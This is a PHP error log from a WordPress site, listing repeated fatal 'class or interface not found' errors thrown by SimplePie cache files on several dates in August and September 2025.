[20-Aug-2025 23:26:09 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[20-Aug-2025 23:26:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[21-Aug-2025 19:23:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[21-Aug-2025 19:23:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[21-Aug-2025 19:23:59 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[21-Aug-2025 19:24:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[21-Aug-2025 19:24:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[21-Aug-2025 19:24:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[21-Aug-2025 19:24:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[21-Aug-2025 19:25:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[21-Aug-2025 19:25:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[26-Aug-2025 06:20:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[26-Aug-2025 06:20:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[26-Aug-2025 06:20:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[26-Aug-2025 06:20:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[26-Aug-2025 06:20:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[26-Aug-2025 06:20:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[26-Aug-2025 06:20:06 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[26-Aug-2025 06:20:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[26-Aug-2025 06:20:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[26-Aug-2025 06:30:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[26-Aug-2025 06:30:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[26-Aug-2025 06:30:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[26-Aug-2025 06:30:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[26-Aug-2025 06:30:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[26-Aug-2025 06:30:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[26-Aug-2025 06:30:40 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[26-Aug-2025 06:30:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[26-Aug-2025 06:30:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[27-Aug-2025 14:04:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[27-Aug-2025 14:05:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[27-Aug-2025 14:05:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[27-Aug-2025 14:06:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[27-Aug-2025 14:06:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[27-Aug-2025 14:06:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[27-Aug-2025 14:06:45 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[27-Aug-2025 14:06:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[27-Aug-2025 14:07:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Sep-2025 00:31:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Sep-2025 00:31:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Sep-2025 00:31:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[04-Sep-2025 00:31:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Sep-2025 00:31:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[04-Sep-2025 00:31:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Sep-2025 00:31:25 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Sep-2025 00:31:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Sep-2025 00:31:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[04-Sep-2025 00:51:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[04-Sep-2025 00:51:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[04-Sep-2025 00:51:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[04-Sep-2025 00:51:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[04-Sep-2025 00:51:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[04-Sep-2025 00:51:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[04-Sep-2025 00:51:52 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[04-Sep-2025 00:51:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[04-Sep-2025 00:51:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[06-Sep-2025 01:50:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[06-Sep-2025 01:50:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[06-Sep-2025 01:50:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[06-Sep-2025 01:50:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[06-Sep-2025 01:50:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[06-Sep-2025 01:50:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[06-Sep-2025 01:50:16 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[06-Sep-2025 01:50:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[06-Sep-2025 01:50:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[06-Sep-2025 01:59:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[06-Sep-2025 01:59:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[06-Sep-2025 01:59:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[06-Sep-2025 01:59:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[06-Sep-2025 01:59:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[06-Sep-2025 01:59:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[06-Sep-2025 01:59:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[06-Sep-2025 01:59:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[06-Sep-2025 01:59:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[09-Sep-2025 17:35:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[09-Sep-2025 17:35:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[09-Sep-2025 17:35:54 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[09-Sep-2025 17:35:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[09-Sep-2025 17:35:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[09-Sep-2025 17:35:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[09-Sep-2025 17:35:56 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[09-Sep-2025 17:35:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[09-Sep-2025 17:35:58 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[09-Sep-2025 17:49:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[09-Sep-2025 17:49:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[09-Sep-2025 17:50:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[09-Sep-2025 17:50:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[09-Sep-2025 17:50:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[09-Sep-2025 17:50:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[09-Sep-2025 17:50:02 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[09-Sep-2025 17:50:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[09-Sep-2025 17:50:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
